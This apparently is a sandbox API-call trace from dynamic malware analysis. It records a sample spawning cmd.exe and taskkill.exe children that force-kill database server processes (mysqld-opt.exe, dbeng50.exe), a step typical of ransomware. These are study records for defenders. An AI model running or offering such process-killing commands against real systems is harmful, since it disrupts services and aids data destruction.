	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0042.670] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0042.670] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0042.670] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0042.670] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0042.670] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0042.670] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0042.670] GetProcessHeap () returned 0x4b0000
	[0042.670] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4b0a10 | out: hHeap=0x4b0000) returned 1
	[0042.670] GetProcessHeap () returned 0x4b0000
	[0042.670] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xa) returned 0x4bfee8
	[0042.670] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0042.671] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im mysqld-opt.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3ff004*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im mysqld-opt.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3ff050 | out: lpCommandLine="taskkill  /f /im mysqld-opt.exe ", lpProcessInformation=0x3ff050*(hProcess=0x78, hThread=0x74, dwProcessId=0x8dc, dwThreadId=0x8d8)) returned 1
	[0042.676] CloseHandle (hObject=0x74) returned 1
	[0042.676] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0042.676] GetProcessHeap () returned 0x4b0000
	[0042.676] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c5ed8 | out: hHeap=0x4b0000) returned 1
	[0042.677] GetEnvironmentStringsW () returned 0x4d4a50*
	[0042.677] GetProcessHeap () returned 0x4b0000
	[0042.677] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xb36) returned 0x4c4098
	[0042.677] FreeEnvironmentStringsW (penv=0x4d4a50) returned 1
	[0042.677] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0042.969] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3fef44 | out: lpExitCode=0x3fef44*=0x80) returned 1
	[0042.969] CloseHandle (hObject=0x78) returned 1
	[0042.969] _vsnwprintf (in: _Buffer=0x3ff08c, _BufferCount=0x13, _Format="%08X", _ArgList=0x3fef50 | out: _Buffer="00000080") returned 8
	[0042.969] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0042.969] GetProcessHeap () returned 0x4b0000
	[0042.969] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4098 | out: hHeap=0x4b0000) returned 1
	[0042.969] GetEnvironmentStringsW () returned 0x4c4098*
	[0042.969] GetProcessHeap () returned 0x4b0000
	[0042.969] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xb5c) returned 0x4c5ed8
	[0042.969] FreeEnvironmentStringsW (penv=0x4c4098) returned 1
	[0042.969] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0042.969] GetProcessHeap () returned 0x4b0000
	[0042.969] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c5ed8 | out: hHeap=0x4b0000) returned 1
	[0042.969] GetEnvironmentStringsW () returned 0x4c4098*
	[0042.969] GetProcessHeap () returned 0x4b0000
	[0042.969] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xb5c) returned 0x4c5ed8
	[0042.969] FreeEnvironmentStringsW (penv=0x4c4098) returned 1
	[0042.969] GetProcessHeap () returned 0x4b0000
	[0042.969] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4bfee8 | out: hHeap=0x4b0000) returned 1
	[0042.969] DeleteProcThreadAttributeList (in: lpAttributeList=0x3fefa8 | out: lpAttributeList=0x3fefa8) 
	[0042.969] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0042.969] SetConsoleMode (hConsoleHandle=0xc8, dwMode=0x0) returned 0
	[0042.970] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0042.970] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4acd41ac | out: lpMode=0x4acd41ac) returned 0
	[0042.970] _get_osfhandle (_FileHandle=0) returned 0xc4
	[0042.970] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4acd41b0 | out: lpMode=0x4acd41b0) returned 0
	[0042.970] GetConsoleOutputCP () returned 0x1b5
	[0042.970] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acd4260 | out: lpCPInfo=0x4acd4260) returned 1
	[0042.970] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0042.970] exit (_Code=128) 

Process:
	id = "47"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4abff000"
	os_pid = "0x8dc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "46"
	os_parent_pid = "0x8e4"
	cmd_line = "taskkill  /f /im mysqld-opt.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 227
	os_tid = 0x8d8


Thread:
	id = 228
	os_tid = 0x8d4


Thread:
	id = 229
	os_tid = 0x8d0


Thread:
	id = 230
	os_tid = 0x8cc


Thread:
	id = 231
	os_tid = 0x8c8


Process:
	id = "48"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4999e000"
	os_pid = "0x8c0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im dbeng50.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 232
	os_tid = 0x8bc

	[0043.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3afa0c | out: lpSystemTimeAsFileTime=0x3afa0c*(dwLowDateTime=0xff4bbfe0, dwHighDateTime=0x1d52dc4)) 
	[0043.049] GetCurrentProcessId () returned 0x8c0
	[0043.049] GetCurrentThreadId () returned 0x8bc
	[0043.049] GetTickCount () returned 0x1af8f
	[0043.049] QueryPerformanceCounter (in: lpPerformanceCount=0x3afa04 | out: lpPerformanceCount=0x3afa04*=16335937641) returned 1
	[0043.050] GetModuleHandleA (lpModuleName=0x0) returned 0x49fc0000
	[0043.050] __set_app_type (_Type=0x1) 
	[0043.050] __p__fmode () returned 0x74eb31f4
	[0043.050] __p__commode () returned 0x74eb31fc
	[0043.051] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49fe21a6) returned 0x0
	[0043.051] __getmainargs (in: _Argc=0x49fe4238, _Argv=0x49fe4240, _Env=0x49fe423c, _DoWildCard=0, _StartInfo=0x49fe4140 | out: _Argc=0x49fe4238, _Argv=0x49fe4240, _Env=0x49fe423c) returned 0
	[0043.051] GetCurrentThreadId () returned 0x8bc
	[0043.051] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x8bc) returned 0x60
	[0043.051] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0043.051] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0043.051] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0043.051] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0043.052] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3af99c | out: phkResult=0x3af99c*=0x0) returned 0x2
	[0043.052] VirtualQuery (in: lpAddress=0x3af9d3, lpBuffer=0x3af96c, dwLength=0x1c | out: lpBuffer=0x3af96c*(BaseAddress=0x3af000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0043.052] VirtualQuery (in: lpAddress=0x2b0000, lpBuffer=0x3af96c, dwLength=0x1c | out: lpBuffer=0x3af96c*(BaseAddress=0x2b0000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0043.052] VirtualQuery (in: lpAddress=0x2b1000, lpBuffer=0x3af96c, dwLength=0x1c | out: lpBuffer=0x3af96c*(BaseAddress=0x2b1000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0043.052] VirtualQuery (in: lpAddress=0x2b3000, lpBuffer=0x3af96c, dwLength=0x1c | out: lpBuffer=0x3af96c*(BaseAddress=0x2b3000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0043.052] VirtualQuery (in: lpAddress=0x3b0000, lpBuffer=0x3af96c, dwLength=0x1c | out: lpBuffer=0x3af96c*(BaseAddress=0x3b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x20000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0043.052] GetConsoleOutputCP () returned 0x1b5
	[0043.052] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49fe4260 | out: lpCPInfo=0x49fe4260) returned 1
	[0043.052] SetConsoleCtrlHandler (HandlerRoutine=0x49fde72a, Add=1) returned 1
	[0043.052] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0043.052] SetConsoleMode (hConsoleHandle=0xc4, dwMode=0x0) returned 0
	[0043.052] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0043.052] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x49fe41ac | out: lpMode=0x49fe41ac) returned 0
	[0043.053] _get_osfhandle (_FileHandle=0) returned 0xc0
	[0043.053] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x49fe41b0 | out: lpMode=0x49fe41b0) returned 0
	[0043.053] GetEnvironmentStringsW () returned 0x3e2008*
	[0043.053] GetProcessHeap () returned 0x3d0000
	[0043.053] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xaca) returned 0x3e2ae0
	[0043.053] FreeEnvironmentStringsW (penv=0x3e2008) returned 1
	[0043.053] GetProcessHeap () returned 0x3d0000
	[0043.053] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x4) returned 0x3e0c40
	[0043.053] GetEnvironmentStringsW () returned 0x3e2008*
	[0043.053] GetProcessHeap () returned 0x3d0000
	[0043.053] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xaca) returned 0x3e35b8
	[0043.053] FreeEnvironmentStringsW (penv=0x3e2008) returned 1
	[0043.053] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ae90c | out: phkResult=0x3ae90c*=0x68) returned 0x0
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x0, lpData=0x3ae918*=0x0, lpcbData=0x3ae910*=0x1000) returned 0x2
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x4, lpData=0x3ae918*=0x1, lpcbData=0x3ae910*=0x4) returned 0x0
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x0, lpData=0x3ae918*=0x1, lpcbData=0x3ae910*=0x1000) returned 0x2
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x4, lpData=0x3ae918*=0x0, lpcbData=0x3ae910*=0x4) returned 0x0
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x4, lpData=0x3ae918*=0x40, lpcbData=0x3ae910*=0x4) returned 0x0
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x4, lpData=0x3ae918*=0x40, lpcbData=0x3ae910*=0x4) returned 0x0
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x0, lpData=0x3ae918*=0x40, lpcbData=0x3ae910*=0x1000) returned 0x2
	[0043.054] RegCloseKey (hKey=0x68) returned 0x0
	[0043.054] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ae90c | out: phkResult=0x3ae90c*=0x68) returned 0x0
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x0, lpData=0x3ae918*=0x40, lpcbData=0x3ae910*=0x1000) returned 0x2
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x4, lpData=0x3ae918*=0x1, lpcbData=0x3ae910*=0x4) returned 0x0
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x0, lpData=0x3ae918*=0x1, lpcbData=0x3ae910*=0x1000) returned 0x2
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x4, lpData=0x3ae918*=0x0, lpcbData=0x3ae910*=0x4) returned 0x0
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x4, lpData=0x3ae918*=0x9, lpcbData=0x3ae910*=0x4) returned 0x0
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x4, lpData=0x3ae918*=0x9, lpcbData=0x3ae910*=0x4) returned 0x0
	[0043.054] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ae914, lpData=0x3ae918, lpcbData=0x3ae910*=0x1000 | out: lpType=0x3ae914*=0x0, lpData=0x3ae918*=0x9, lpcbData=0x3ae910*=0x1000) returned 0x2
	[0043.054] RegCloseKey (hKey=0x68) returned 0x0
	[0043.054] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163033
	[0043.054] srand (_Seed=0x5d163033) 
	[0043.054] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im dbeng50.exe \""
	[0043.055] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im dbeng50.exe \""
	[0043.055] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49fe5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0043.055] GetProcessHeap () returned 0x3d0000
	[0043.055] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x210) returned 0x3e2008
	[0043.055] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3e2010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0043.055] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49ff0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0043.055] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49ff0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0043.055] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49ff0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0043.055] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0043.055] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0043.055] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0043.055] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0043.055] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0043.055] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0043.055] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0043.055] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0043.055] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0043.055] GetProcessHeap () returned 0x3d0000
	[0043.055] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e2ae0 | out: hHeap=0x3d0000) returned 1
	[0043.056] GetEnvironmentStringsW () returned 0x3e2220*
	[0043.056] GetProcessHeap () returned 0x3d0000
	[0043.056] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xae2) returned 0x3e4b80
	[0043.056] FreeEnvironmentStringsW (penv=0x3e2220) returned 1
	[0043.056] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49ff0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0043.056] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49ff0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0043.056] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0043.056] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0043.056] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0043.056] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0043.056] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0043.056] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0043.056] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0043.056] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0043.056] GetProcessHeap () returned 0x3d0000
	[0043.056] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x54) returned 0x3e5670
	[0043.056] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3af6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0043.056] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3af6d8, lpFilePart=0x3af6d4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3af6d4*="Desktop") returned 0x25
	[0043.056] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0043.056] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3af454 | out: lpFindFileData=0x3af454*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x3e1e88
	[0043.056] FindClose (in: hFindFile=0x3e1e88 | out: hFindFile=0x3e1e88) returned 1
	[0043.057] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3af454 | out: lpFindFileData=0x3af454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x3e1e88
	[0043.057] FindClose (in: hFindFile=0x3e1e88 | out: hFindFile=0x3e1e88) returned 1
	[0043.057] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0043.057] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3af454 | out: lpFindFileData=0x3af454*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x3e1e88
	[0043.057] FindClose (in: hFindFile=0x3e1e88 | out: hFindFile=0x3e1e88) returned 1
	[0043.057] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0043.057] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0043.057] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0043.057] GetProcessHeap () returned 0x3d0000
	[0043.057] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e4b80 | out: hHeap=0x3d0000) returned 1
	[0043.057] GetEnvironmentStringsW () returned 0x3e4090*
	[0043.057] GetProcessHeap () returned 0x3d0000
	[0043.057] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xb36) returned 0x3e5ed0
	[0043.058] FreeEnvironmentStringsW (penv=0x3e4090) returned 1
	[0043.058] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49fe5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0043.058] GetProcessHeap () returned 0x3d0000
	[0043.058] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5670 | out: hHeap=0x3d0000) returned 1
	[0043.058] GetProcessHeap () returned 0x3d0000
	[0043.058] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x400e) returned 0x3e6a10
	[0043.058] GetProcessHeap () returned 0x3d0000
	[0043.058] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x4a) returned 0x3e2d60
	[0043.058] GetProcessHeap () returned 0x3d0000
	[0043.058] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x4008) returned 0x3eaa28
	[0043.058] GetProcessHeap () returned 0x3d0000
	[0043.058] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x4008) returned 0x3eea38
	[0043.060] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0043.060] GetProcessHeap () returned 0x3d0000
	[0043.060] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x418) returned 0x3e2db8
	[0043.060] SetErrorMode (uMode=0x0) returned 0x8003
	[0043.060] SetErrorMode (uMode=0x1) returned 0x0
	[0043.060] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x3e2dc0, lpFilePart=0x3af650 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x3af650*="f") returned 0x31
